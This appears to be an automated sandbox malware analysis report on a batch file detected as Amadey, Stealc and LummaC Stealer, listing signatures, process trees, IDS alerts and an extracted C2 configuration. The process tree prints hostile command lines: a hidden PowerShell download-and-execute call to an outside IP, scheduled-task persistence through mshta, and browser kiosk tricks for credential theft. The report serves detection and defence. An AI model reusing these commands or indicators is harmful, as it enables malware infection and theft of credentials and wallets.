Windows
Analysis Report
am_no.bat
Overview
General Information
Detection
Amadey, Credential Flusher, Healer AV Disabler, LummaC Stealer, Stealc
Score: | 100 |
Range: | 0 - 100 |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Antivirus detection for dropped file
Attempt to bypass Chrome Application-Bound Encryption
Detected unpacking (changes PE section rights)
Found malware configuration
Multi AV Scanner detection for submitted file
Sigma detected: Powershell download and execute file
Suricata IDS alerts for network traffic
Yara detected Amadey
Yara detected Amadeys Clipper DLL
Yara detected Credential Flusher
Yara detected Healer AV Disabler
Yara detected LummaC Stealer
Yara detected Powershell download and execute
Yara detected Stealc
Yara detected obfuscated html page
Allocates memory in foreign processes
Binary is likely a compiled AutoIt script file
C2 URLs / IPs found in malware configuration
Contains functionality to start a terminal service
Creates HTA files
Creates a thread in another existing process (thread injection)
Creates multiple autostart registry keys
Disable Windows Defender notifications (registry)
Disable Windows Defender real time protection (registry)
Disables Windows Defender Tamper protection
Found API chain indicative of sandbox detection
Found direct / indirect Syscall (likely to bypass EDR)
Found evasive API chain checking for user administrative privileges
Found many strings related to Crypto-Wallets (likely being stolen)
Hides threads from debuggers
Injects a PE file into a foreign processes
Joe Sandbox ML detected suspicious sample
Modifies the context of a thread in another process (thread injection)
Modifies windows update settings
PE file contains section with special chars
Powershell drops PE file
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Query firmware table information (likely to detect VMs)
Sample uses string decryption to hide its real strings
Sigma detected: Invoke-Obfuscation CLIP+ Launcher
Sigma detected: Invoke-Obfuscation VAR+ Launcher
Sigma detected: New RUN Key Pointing to Suspicious Folder
Sigma detected: PowerShell DownloadFile
Sigma detected: Suspicious MSHTA Child Process
Suspicious powershell command line found
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to download and execute files (via powershell)
Tries to evade debugger and weak emulator (self modifying code)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Crypto Currency Wallets
Uses schtasks.exe or at.exe to add and modify task schedules
Writes to foreign memory regions
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks for debuggers (devices)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Connects to many different domains
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to detect virtual machines (SLDT)
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates job files (autostart)
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Entry point lies outside standard sections
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evasive API chain checking for process token information
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
PE file contains an invalid checksum
PE file contains sections with non-standard names
Potential key logger detected (key state polling based)
Queries disk information (often used to detect virtual machines)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for the Microsoft Outlook file path
Searches for user specific document files
Sigma detected: Browser Started with Remote Debugging
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: PowerShell Download Pattern
Sigma detected: PowerShell Web Download
Sigma detected: Uncommon Svchost Parent Process
Sigma detected: Usage Of Web Request Commands And Cmdlets
Stores large binary data to the registry
Suricata IDS alerts with low severity for network traffic
Uses code obfuscation techniques (call, push, ret)
Uses taskkill to terminate processes
Yara detected Credential Stealer
Classification
- System is w10x64
cmd.exe (PID: 6920 cmdline:
C:\Windows \system32\ cmd.exe /c ""C:\User s\user\Des ktop\am_no .bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) conhost.exe (PID: 6928 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) timeout.exe (PID: 6972 cmdline:
timeout /t 2 MD5: 100065E21CFBBDE57CBA2838921F84D6) cmd.exe (PID: 7056 cmdline:
C:\Windows \system32\ cmd.exe /c powershel l -command "-join (( 48..57) + (65..90) + (97..122) | Get-Ran dom -Count 9 | ForEa ch-Object {[char]$_} )" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) powershell.exe (PID: 7072 cmdline:
powershell -command "-join ((4 8..57) + ( 65..90) + (97..122) | Get-Rand om -Count 9 | ForEac h-Object { [char]$_}) " MD5: 04029E121A0CFA5991749937DD22A1D9) cmd.exe (PID: 5032 cmdline:
C:\Windows \system32\ cmd.exe /c powershel l -command "-join (( 48..57) + (65..90) + (97..122) | Get-Ran dom -Count 5 | ForEa ch-Object {[char]$_} )" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) powershell.exe (PID: 6184 cmdline:
powershell -command "-join ((4 8..57) + ( 65..90) + (97..122) | Get-Rand om -Count 5 | ForEac h-Object { [char]$_}) " MD5: 04029E121A0CFA5991749937DD22A1D9) cmd.exe (PID: 6440 cmdline:
C:\Windows \system32\ cmd.exe /c powershel l -command "-join (( 48..57) + (65..90) + (97..122) | Get-Ran dom -Count 4 | ForEa ch-Object {[char]$_} )" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) powershell.exe (PID: 6476 cmdline:
powershell -command "-join ((4 8..57) + ( 65..90) + (97..122) | Get-Rand om -Count 4 | ForEac h-Object { [char]$_}) " MD5: 04029E121A0CFA5991749937DD22A1D9) schtasks.exe (PID: 6664 cmdline:
schtasks / create /tn "j5aLnmal kX9" /tr "mshta \" C:\Temp\mt zRdqIHD.ht a\"" /sc minute /m o 25 /ru "user" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2) mshta.exe (PID: 6736 cmdline:
mshta "C:\ Temp\mtzRd qIHD.hta" MD5: 0B4340ED812DC82CE636C00FA5C9BEF2) powershell.exe (PID: 4764 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -WindowSty le Hidden $d=$env:te mp+'\483d2 fa8a0d5381 8306efeb32 d3.exe';(N ew-Object System.Net .WebClient ).Download File('http ://176.113 .115.7/min e/random.e xe',$d);St art-Proces s $d; MD5: 04029E121A0CFA5991749937DD22A1D9) conhost.exe (PID: 5252 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) 483d2fa8a0d53818306efeb32d3.exe (PID: 7128 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\483d2f a8a0d53818 306efeb32d 3.exe" MD5: 34A1010B4F6CF9C985D71453702602D7) rapes.exe (PID: 6456 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\bb556c ff4a\rapes .exe" MD5: 34A1010B4F6CF9C985D71453702602D7)
mshta.exe (PID: 6660 cmdline:
C:\Windows \system32\ mshta.EXE "C:\Temp\m tzRdqIHD.h ta" MD5: 0B4340ED812DC82CE636C00FA5C9BEF2) powershell.exe (PID: 5884 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -WindowSty le Hidden $d=$env:te mp+'\483d2 fa8a0d5381 8306efeb32 d3.exe';(N ew-Object System.Net .WebClient ).Download File('http ://176.113 .115.7/min e/random.e xe',$d);St art-Proces s $d; MD5: 04029E121A0CFA5991749937DD22A1D9) conhost.exe (PID: 4700 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) 483d2fa8a0d53818306efeb32d3.exe (PID: 7112 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\483d2f a8a0d53818 306efeb32d 3.exe" MD5: 34A1010B4F6CF9C985D71453702602D7) svchost.exe (PID: 7112 cmdline:
C:\Windows \System32\ svchost.ex e -k Local SystemNetw orkRestric ted -p -s StorSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
rapes.exe (PID: 6732 cmdline:
C:\Users\u ser\AppDat a\Local\Te mp\bb556cf f4a\rapes. exe MD5: 34A1010B4F6CF9C985D71453702602D7)
svchost.exe (PID: 4028 cmdline:
C:\Windows \System32\ svchost.ex e -k netsv cs -p -s B ITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
rapes.exe (PID: 4700 cmdline:
C:\Users\u ser\AppDat a\Local\Te mp\bb556cf f4a\rapes. exe MD5: 34A1010B4F6CF9C985D71453702602D7) 2qv26zF.exe (PID: 6652 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\101285 20101\2qv2 6zF.exe" MD5: 903EB4BCB7F7479A651A0813E69FFAD9) spoolsv.exe (PID: 3128 cmdline:
C:\Windows \System32\ spoolsv.ex e MD5: 0D4B1E3E4488E9BDC035F23E1F4FE22F) 19be97887a.exe (PID: 6576 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\101285 40101\19be 97887a.exe " MD5: DA0CBB9E2A1C51DCC66D381F995F48B4) bb5ad48269.exe (PID: 5724 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\101285 50101\bb5a d48269.exe " MD5: B083B881D7C60C5ECD8E4BD354043178) c6e8248d4e.exe (PID: 6080 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\101285 60101\c6e8 248d4e.exe " MD5: D9C528B98DEC61D94D18A752ED8EA2C7) taskkill.exe (PID: 5960 cmdline:
taskkill / F /IM fire fox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD) conhost.exe (PID: 5968 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) taskkill.exe (PID: 3572 cmdline:
taskkill / F /IM chro me.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD) conhost.exe (PID: 5484 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) taskkill.exe (PID: 6028 cmdline:
taskkill / F /IM msed ge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD) conhost.exe (PID: 5124 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) taskkill.exe (PID: 5380 cmdline:
taskkill / F /IM oper a.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD) conhost.exe (PID: 4960 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) taskkill.exe (PID: 4232 cmdline:
taskkill / F /IM brav e.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD) conhost.exe (PID: 2892 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) firefox.exe (PID: 2384 cmdline:
"C:\Progra m Files\Mo zilla Fire fox\firefo x.exe" --k iosk "http s://youtub e.com/acco unt?=https ://account s.google.c om/v3/sign in/challen ge/pwd" -- no-default -browser-c heck --dis able-popup -blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045) taskkill.exe (PID: 6372 cmdline:
taskkill / F /IM fire fox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD) conhost.exe (PID: 3816 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) ab5415a7b5.exe (PID: 5236 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\101285 70101\ab54 15a7b5.exe " MD5: B55E5FB40A834E5F53D181D91C21F5C8) 6f3323f1e6.exe (PID: 6692 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\101285 80101\6f33 23f1e6.exe " MD5: E898E590B906BE9CE110FBBB538EF93E) cmd.exe (PID: 2712 cmdline:
C:\Windows \system32\ cmd.exe /c schtasks /create /t n GRcE4ma5 3OP /tr "m shta C:\Us ers\user\A ppData\Loc al\Temp\fJ eYDlA9n.ht a" /sc min ute /mo 25 /ru "user " /f MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) conhost.exe (PID: 7088 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
19be97887a.exe (PID: 1496 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\101285 40101\19be 97887a.exe " MD5: DA0CBB9E2A1C51DCC66D381F995F48B4) chrome.exe (PID: 5820 cmdline:
"C:\Progra m Files\Go ogle\Chrom e\Applicat ion\chrome .exe" --pr ofile-dire ctory="Def ault" --re mote-debug ging-port= 9223 MD5: E81F54E6C1129887AEA47E7D092680BF) chrome.exe (PID: 3004 cmdline:
"C:\Progra m Files\Go ogle\Chrom e\Applicat ion\chrome .exe" --ty pe=utility --utility -sub-type= network.mo jom.Networ kService - -lang=en-U S --servic e-sandbox- type=none --no-pre-r ead-main-d ll --field -trial-han dle=2280,i ,201246570 3375718755 ,845565831 8380072164 ,262144 -- variations -seed-vers ion=202503 06-183004. 429000 --m ojo-platfo rm-channel -handle=30 0 /prefetc h:3 MD5: E81F54E6C1129887AEA47E7D092680BF)
firefox.exe (PID: 6552 cmdline:
"C:\Progra m Files\Mo zilla Fire fox\firefo x.exe" --k iosk https ://youtube .com/accou nt?=https: //accounts .google.co m/v3/signi n/challeng e/pwd --no -default-b rowser-che ck --disab le-popup-b locking -- attempting -deelevati on MD5: C86B1BE9ED6496FE0E0CBE73F81D8045) firefox.exe (PID: 2096 cmdline:
"C:\Progra m Files\Mo zilla Fire fox\firefo x.exe" --k iosk https ://youtube .com/accou nt?=https: //accounts .google.co m/v3/signi n/challeng e/pwd --no -default-b rowser-che ck --disab le-popup-b locking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045) firefox.exe (PID: 3680 cmdline:
"C:\Progra m Files\Mo zilla Fire fox\firefo x.exe" -co ntentproc --channel= 2304 -pare ntBuildID 2023092723 2528 -pref sHandle 22 40 -prefMa pHandle 22 36 -prefsL en 25298 - prefMapSiz e 238442 - win32kLock edDown -ap pDir "C:\P rogram Fil es\Mozilla Firefox\b rowser" - {40535d6e- 8e54-4867- 8019-039fa e6a2d7e} 2 096 "\\.\p ipe\gecko- crash-serv er-pipe.20 96" 1f912d 70b10 sock et MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)
bb5ad48269.exe (PID: 6960 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\101285 50101\bb5a d48269.exe " MD5: B083B881D7C60C5ECD8E4BD354043178)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Amadey | Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware. | No Attribution |
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Stealc | Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests. | No Attribution |
{"C2 url": "176.113.115.6/Ni9kiput/index.php", "Version": "5.21", "Install Folder": "bb556cff4a", "Install File": "rapes.exe"}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Obshtml | Yara detected obfuscated html page | Joe Security | ||
JoeSecurity_Obshtml | Yara detected obfuscated html page | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Amadey_3 | Yara detected Amadey\'s Clipper DLL | Joe Security | ||
JoeSecurity_Amadey_3 | Yara detected Amadey\'s Clipper DLL | Joe Security | ||
JoeSecurity_Amadey_3 | Yara detected Amadey\'s Clipper DLL | Joe Security | ||
JoeSecurity_Stealc | Yara detected Stealc | Joe Security | ||
JoeSecurity_Amadey_3 | Yara detected Amadey\'s Clipper DLL | Joe Security | ||
Click to see the 27 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_LummaCStealer_4 | Yara detected LummaC Stealer | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security |
System Summary |
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Source: | Author: Jonathan Cheong, oscd.community: |
Source: | Author: Jonathan Cheong, oscd.community: |
Source: | Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Michael Haag: |
Source: | Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): |
Source: | Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): |
Source: | Author: Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro: |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: |
Source: | Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): |
Source: | Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: |
Source: | Author: vburov: |
Data Obfuscation |
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Source: | Author: Joe Security: |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2025-03-07T19:50:50.758714+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.8 | 49806 | 188.114.96.3 | 443 | TCP |
2025-03-07T19:52:22.897285+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.8 | 49695 | 104.21.32.1 | 443 | TCP |
2025-03-07T19:52:25.891206+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.8 | 49698 | 104.21.32.1 | 443 | TCP |
2025-03-07T19:52:28.849483+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.8 | 49700 | 104.21.32.1 | 443 | TCP |
2025-03-07T19:52:31.986631+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.8 | 49702 | 104.21.32.1 | 443 | TCP |
2025-03-07T19:52:36.688511+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.8 | 49704 | 104.21.32.1 | 443 | TCP |
2025-03-07T19:52:37.265032+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.8 | 49706 | 104.21.32.1 | 443 | TCP |
2025-03-07T19:52:40.129030+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.8 | 49708 | 104.21.32.1 | 443 | TCP |
2025-03-07T19:52:44.380467+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.8 | 49726 | 104.21.32.1 | 443 | TCP |
2025-03-07T19:53:02.941629+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.8 | 49779 | 188.114.96.3 | 443 | TCP |
2025-03-07T19:53:05.971117+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.8 | 49793 | 188.114.96.3 | 443 | TCP |
2025-03-07T19:53:08.971652+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.8 | 49804 | 188.114.96.3 | 443 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2025-03-07T19:52:05.921914+0100 | 2856147 | 1 | A Network Trojan was detected | 192.168.2.8 | 49690 | 176.113.115.6 | 80 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2025-03-07T19:52:10.722253+0100 | 2803305 | 3 | Unknown Traffic | 192.168.2.8 | 49692 | 176.113.115.7 | 80 | TCP |
2025-03-07T19:52:16.890841+0100 | 2803305 | 3 | Unknown Traffic | 192.168.2.8 | 49694 | 176.113.115.7 | 80 | TCP |
2025-03-07T19:52:25.032460+0100 | 2803305 | 3 | Unknown Traffic | 192.168.2.8 | 49699 | 176.113.115.7 | 80 | TCP |
2025-03-07T19:52:31.901713+0100 | 2803305 | 3 | Unknown Traffic | 192.168.2.8 | 49703 | 176.113.115.7 | 80 | TCP |
2025-03-07T19:52:38.130912+0100 | 2803305 | 3 | Unknown Traffic | 192.168.2.8 | 49707 | 176.113.115.7 | 80 | TCP |
2025-03-07T19:52:46.313749+0100 | 2803305 | 3 | Unknown Traffic | 192.168.2.8 | 49730 | 176.113.115.7 | 80 | TCP |
2025-03-07T19:52:52.652974+0100 | 2803305 | 3 | Unknown Traffic | 192.168.2.8 | 49745 | 176.113.115.7 | 80 | TCP |
2025-03-07T19:52:57.980435+0100 | 2803305 | 3 | Unknown Traffic | 192.168.2.8 | 49750 | 176.113.115.7 | 80 | TCP |
Click to jump to signature section
Show All Signature Results
AV Detection |
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Source: | Avira URL Cloud: | ||
Source: | Avira URL Cloud: | ||
Source: | Avira URL Cloud: |
Source: | Avira: | ||
Source: | Avira: | ||
Source: | Avira: | ||
Source: | Avira: | ||
Source: | Avira: | ||
Source: | Avira: | ||
Source: | Avira: | ||
Source: | Avira: | ||
Source: | Avira: | ||
Source: | Avira: | ||
Source: | Avira: | ||
Source: | Avira: | ||
Source: | Avira: |
Source: | Malware Configuration Extractor: |
Source: | Virustotal: | Perma Link | ||
Source: | ReversingLabs: |
Source: | Integrated Neural Analysis Model: |
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: | ||
Source: | String decryptor: |
Phishing |
---|
Source: | File source: |
Source: | File source: | ||
Source: | File source: |
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: |
Source: | Binary string: | ||
Source: | Binary string: | ||
Source: | Binary string: | ||
Source: | Binary string: | ||
Source: | Binary string: |
Source: | Code function: | 29_2_00007FF7C9CA9BF4 | |
Source: | Code function: | 34_2_0096DBBE | |
Source: | Code function: | 34_2_0093C2A2 | |
Source: | Code function: | 34_2_009768EE | |
Source: | Code function: | 34_2_0097698F | |
Source: | Code function: | 34_2_0096D076 | |
Source: | Code function: | 34_2_0096D3A9 | |
Source: | Code function: | 34_2_00979642 | |
Source: | Code function: | 34_2_0097979D | |
Source: | Code function: | 34_2_00979B2B | |
Source: | Code function: | 34_2_00975C97 |
Source: | Memory has grown: |
Networking |
---|
Source: | Suricata IDS: |
Source: | IPs: |
Source: | Network traffic detected: |
Source: | HTTP traffic detected: |